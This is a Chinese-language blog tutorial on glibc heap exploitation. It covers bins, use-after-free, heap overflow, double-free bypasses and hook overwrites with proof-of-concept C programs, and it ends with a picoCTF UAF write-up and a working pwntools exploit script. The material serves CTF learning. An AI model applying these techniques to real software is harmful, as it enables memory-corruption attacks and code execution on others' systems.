Before all whoami… 身為一個web鯨,看到身邊的人好像多少都懂點heap就跳下來看ㄌ,但應該(?)沒有要把後續的毒(e.g. house of XX)全吃進去 :P(web要吃的已經夠多了) 看的是 SCIST PWN COURSE 之後繼續當w*的狗(恩,最近也在打web3) 但就先用這篇文章簡單介紹下
前置環境 gdb+pwndbg+pwngdb, little-amd-64
heap, chunk, bin 簡言之: 所謂的heap就是動態的記憶體空間,在需要的時候會呼叫malloc函數跟glibc申請一塊chunk,這些chunk有大有小,根據不同的大小在呼叫free函數將他們釋放後又會放到不同大小/順序的bin去操作。
直接丟剛剛影片的截圖應該很清楚XD 各種bin的分類
malloc的流程圖:
free的流程圖:
再更細節一點:
寫個簡單的c來理解吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include <stdio.h> #include <stdlib.h> int main () { char *tcache_chunks[7 ]; char *fastbin_chunks[2 ]; for (int i=0 ; i<7 ; i++) tcache_chunks[i] = malloc (0x10 ); for (int i=0 ; i<2 ; i++) fastbin_chunks[i] = malloc (0x10 ); char *a = malloc (0x20 ); for (int i=0 ; i<7 ; i++) free (tcache_chunks[i]); for (int i=0 ; i<2 ; i++) free (fastbin_chunks[i]); free (a); char *b=malloc (0x10 ); return 0 ; }
編譯後上gdb,把程式跳到那坨free都結束後觀察 vmmap,可以找到heap base,這在現代的glibc編譯下蠻重要的 heapinfo下去,可以看到fastbin的0x20欄位有兩個tcachebin容不下的chunks,也可以看到已滿(7 個 chunks)的tcache[0]以及被free掉一個a的tcache[1]
接著再追下去,直到b被malloc起來後,也可以理解tcachebin和fastbin這些bin的優先順續及bin資料結構的FILO(Stack)形式
一樣先觀察freed chunk 繼續剛剛的gdb,先看看tcache上的資料
綠色的資料是大小+nmp資料,分別是(是否在main_arena, 是否為mmap生成, 前一塊是否使用中) 紅色的資料上網查都會說是bk(前一塊的地址),但實際看下去不合理,甚至這還是第一塊所以理論上應該是0x0000000000000000
,這是因為在高版本libc(>=2.32)後這個資料xor了一個key,也就是heap base >> 12
的值。 黃色則是tcache獨有的tcache_key(fr,後一塊地址)
而對於 allocated chunk (使用中的),大小和nmp資料後的塊就是裡面的資料ㄌ 如
Exploit methods Use After Free Example:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #include <stdio.h> #include <stdlib.h> #include <string.h> int main () { char *a=malloc (0x10 ); char *b=malloc (0x10 ); memcpy (a, "whale120\n" , 9 ); printf (a); free (a); char *c=malloc (0x10 ); memcpy (c, "pwned!\n" , 7 ); printf (a); printf (c); }
簡單來說,當今天一個chunk被free掉後並沒有把pointer改成null,就再次malloc到它,那重新malloc它的那個變數改變時也會影響到本來的變數,進而造成任意寫入/改值的問題
Heap overflow Example:
1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> #include <stdlib.h> #include <string.h> int main () { char *a, *b; a=malloc (0x10 ); b=malloc (0x10 ); memcpy (a, "whale120_meowing\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x21pwned by whale!\n" , 48 ); printf ("value of b: %s" , b); }
一樣,符合chunk metadata的填入overflow後的資料,最後改寫即可 改掉這塊chunk的metadata也是常用的招術!
Double Free 如果今天有一段程式碼長這樣:
free 了兩次,那拿後面兩次malloc的時候不就吃到同一塊chunk:
這不就變成會互改了ㄇXD 為了防止這件事,高版本glibc對於tcachebin和fastbin有兩種不同的防護:Fastbin Double Free fastbin的做法是推進去前先看上一個key是什麼,不可以跟自己一樣。 繞法:
1 2 3 free (a);free (b);free (a);
PoC一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #include <stdio.h> #include <stdlib.h> #include <string.h> int main () { char *tcache_bin[7 ]; char *fast_bin[2 ]; for (int i=0 ;i<7 ;i++) tcache_bin[i]=malloc (0x10 ); for (int i=0 ;i<2 ;i++) fast_bin[i]=malloc (0x10 ); for (int i=0 ;i<7 ;i++) free (tcache_bin[i]); free (fast_bin[0 ]); free (fast_bin[1 ]); free (fast_bin[0 ]); char *from_tcache[7 ]; char *a, *b, *c; for (int i=0 ;i<7 ;i++) from_tcache[i]=malloc (0x10 ); a=malloc (0x10 ); b=malloc (0x10 ); c=malloc (0x10 ); memcpy (a, "pwned by whale\n" , 15 ); printf ("value of a: %s" , a); printf ("value of c: %s" , c); }
Tcachebin Double Free <2.29直接 free a; free a
即可 後面的話它會檢查key有沒有互指到,要蓋掉才可以 不過如果可以,更簡單的方法是利用fastbin和tcachebin共同完成double free 詳情請見:https://jiaweihawk.github.io/2021/09/03/tcache%E4%B8%AD%E7%9A%84double-free/
其他 可以改got/pointer的時候可以嘗試改 __malloc_hook
__free_hook
的值成one_gadget之類的,這兩個函數在調用到malloc/free的時候都很好用(但2.34後這些好像就被移除了)
Examples picoCTF 2021 Unsubscriptions Are Free vuln.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <ctype.h> #define FLAG_BUFFER 200 #define LINE_BUFFER_SIZE 20 typedef struct { uintptr_t (*whatToDo)(); char *username; } cmd; char choice;cmd *user; void hahaexploitgobrrr () { char buf[FLAG_BUFFER]; FILE *f = fopen("flag.txt" ,"r" ); fgets(buf,FLAG_BUFFER,f); fprintf (stdout ,"%s\n" ,buf); fflush(stdout ); } char * getsline (void ) { getchar(); char * line = malloc (100 ), * linep = line; size_t lenmax = 100 , len = lenmax; int c; if (line == NULL ) return NULL ; for (;;) { c = fgetc(stdin ); if (c == EOF) break ; if (--len == 0 ) { len = lenmax; char * linen = realloc (linep, lenmax *= 2 ); if (linen == NULL ) { free (linep); return NULL ; } line = linen + (line - linep); linep = linen; } if ((*line++ = c) == '\n' ) break ; } *line = '\0' ; return linep; } void doProcess (cmd* obj) { (*obj->whatToDo)(); } void s () { printf ("OOP! Memory leak...%p\n" ,hahaexploitgobrrr); puts ("Thanks for subsribing! I really recommend becoming a premium member!" ); } void p () { puts ("Membership pending... (There's also a super-subscription you can also get for twice the price!)" ); } void m () { puts ("Account created." ); } void leaveMessage () { puts ("I only read premium member messages but you can " ); puts ("try anyways:" ); char * msg = (char *)malloc (8 ); read(0 , msg, 8 ); } void i () { char response; puts ("You're leaving already(Y/N)?" ); scanf (" %c" , &response); if (toupper (response)=='Y' ){ puts ("Bye!" ); free (user); }else { puts ("Ok. Get premium membership please!" ); } } void printMenu () { puts ("Welcome to my stream! ^W^" ); puts ("==========================" ); puts ("(S)ubscribe to my channel" ); puts ("(I)nquire about account deletion" ); puts ("(M)ake an Twixer account" ); puts ("(P)ay for premium membership" ); puts ("(l)eave a message(with or without logging in)" ); puts ("(e)xit" ); } void processInput () { scanf (" %c" , &choice); choice = toupper (choice); switch (choice){ case 'S' : if (user){ user->whatToDo = (void *)s; }else { puts ("Not logged in!" ); } break ; case 'P' : user->whatToDo = (void *)p; break ; case 'I' : user->whatToDo = (void *)i; break ; case 'M' : user->whatToDo = (void *)m; puts ("===========================" ); puts ("Registration: Welcome to Twixer!" ); puts ("Enter your username: " ); user->username = getsline(); break ; case 'L' : leaveMessage(); break ; case 'E' : exit (0 ); default : puts ("Invalid option!" ); exit (1 ); break ; } } int main () { setbuf(stdout , NULL ); user = (cmd *)malloc (sizeof (user)); while (1 ){ printMenu(); processInput(); doProcess(user); } return 0 ; }
首先透過S去leak hahaexploitgobrrr
地址 第一次按下I的時候user就被free掉了,但指針並沒有被清空,後面又持續在呼叫它,形成了UAF的條件,最後跳回hahaexploitgobrrr
就可以GET FLAGexp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *from time import sleepr=remote('mercury.picoctf.net' , 4593 ) sleep(0.5 ) r.recv() r.sendline(b'S' ) sleep(0.5 ) win_addr=int (r.recvline().decode().split('0x' )[1 ], 16 ) r.sendline(b'I' ) sleep(0.5 ) r.sendline(b'Y' ) sleep(0.5 ) r.sendline(b'L' ) sleep(0.5 ) r.sendline(p32(win_addr)) sleep(0.5 ) r.sendline(b'L' ) sleep(0.5 ) r.sendline(b'meow' ) r.interactive()
Hacknote on Pwnable.tw 一樣是UAF(真的比較好構造) 詳情左轉:https://wha13.github.io/2024/11/07/pwnable-tw-hacknote